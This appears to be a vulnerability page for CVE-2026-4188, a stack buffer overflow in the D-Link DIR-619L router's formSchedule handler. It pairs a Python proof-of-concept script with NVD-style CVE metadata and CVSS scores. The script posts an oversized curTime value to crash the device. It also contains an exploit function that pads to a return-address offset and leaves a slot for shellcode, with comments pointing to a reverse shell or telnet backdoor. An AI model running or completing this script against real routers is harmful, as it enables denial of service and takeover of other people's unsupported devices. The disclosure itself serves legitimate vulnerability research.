CVE-2026-4188

import requests import sys # CVE-2026-4188 PoC - D-Link DIR-619L formSchedule Buffer Overflow # Target: D-Link DIR-619L Router (firmware 2.06B01) # Vulnerability: Stack-based buffer overflow in /goform/formSchedule (curTime parameter) def check_vulnerability(target_ip, target_port=80): """ Check if target is vulnerable to CVE-2026-4188 """ url = f"http://{target_ip}:{target_port}/goform/formSchedule" # Normal payload (may not cause overflow but tests endpoint) normal_payload = { 'curTime': '12:00' } # Overflow payload - 500 bytes to trigger overflow overflow_payload = { 'curTime': 'A' * 500 } try: # First test with normal payload response = requests.post(url, data=normal_payload, timeout=5) print(f"[*] Normal request status: {response.status_code}") # Then test with overflow payload print(f"[*] Sending overflow payload (500 bytes)...") response = requests.post(url, data=overflow_payload, timeout=10) print(f"[*] Overflow request status: {response.status_code}") # Check if device is still responsive try: check = requests.get(f"http://{target_ip}:{target_port}/", timeout=5) print(f"[!] Device still responsive - may be vulnerable") return True except: print(f"[!] Device not responding - may have crashed (vulnerable)") return True except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return False def exploit_buffer_overflow(target_ip, target_port=80): """ Exploit CVE-2026-4188 - Stack buffer overflow in formSchedule Note: This requires knowledge of the specific firmware's memory layout """ url = f"http://{target_ip}:{target_port}/goform/formSchedule" # Calculate proper offset for the target firmware # This is a placeholder - actual offset needs to be determined via fuzzing offset = 200 # Offset to reach return address # Shellcode for MIPS/ARM would go here # Example: reverse shell, telnet backdoor, etc. shellcode = '' # Platform-specific shellcode # Construct overflow payload payload = 'A' * offset + shellcode + 'B' * (500 - offset - len(shellcode)) print(f"[*] Sending exploit payload...") response = requests.post(url, data={'curTime': payload}, timeout=10) print(f"[*] Exploit sent, check for shell") return response if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 print(f"[*] Testing CVE-2026-4188 on {target}:{port}") check_vulnerability(target, port)

{"cve": {"id": "CVE-2026-4188", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:20:01.717", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in D-Link DIR-619L 2.06B01. The affected element is the function formSchedule of the file /goform/formSchedule of the component boa. Performing a manipulation of the argument curTime results in stack-based buffer overflow. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks. This vulnerability only affects products that are no longer supported by the maintainer."}, {"lang": "es", "value": "Una falla de seguridad ha sido descubierta en D-Link DIR-619L 2.06B01. El elemento afectado es la función formSchedule del archivo /goform/formSchedule del componente boa. Realizar una manipulación del argumento curTime resulta en desbordamiento de búfer basado en pila. El ataque puede ser iniciado remotamente. El exploit ha sido publicado al público y puede ser usado para ataques. Esta vulnerabilidad solo afecta a productos que ya no tienen soporte por parte del mantenedor."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 9.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://github.com/wudipjq/my_vuln/blob/main/D-Link7/vuln_89/89.md", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.351094", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.351094", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.769833", "source": "[email protected]"}, {"url": "https://www.dlink.com/", "source": "[email protected]"}]}}